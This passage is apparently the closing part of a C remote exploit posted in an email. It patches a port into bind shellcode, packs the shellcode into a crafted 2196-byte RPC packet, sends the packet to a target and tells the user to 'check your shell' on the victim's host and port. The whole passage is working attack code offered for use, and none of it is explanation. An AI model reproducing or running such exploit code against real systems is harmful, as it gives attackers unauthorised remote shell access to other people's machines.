// shellcode
bindport = (unsigned short)atoi(argv[2]);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

// end of packet
memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
RPC_call_end,
sizeof(RPC_call_end)-1);

// sending...
if (send(sockfd, packet, 2196, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
printf("ok\n");
printf("[*] check your shell on %s:%i\n", argv[1], atoi(argv[2]));

recv(sockfd, recvbuf, 4096, 0);

return 0;
}

--=-SfIi1JY3mdtnhGbOGbtg--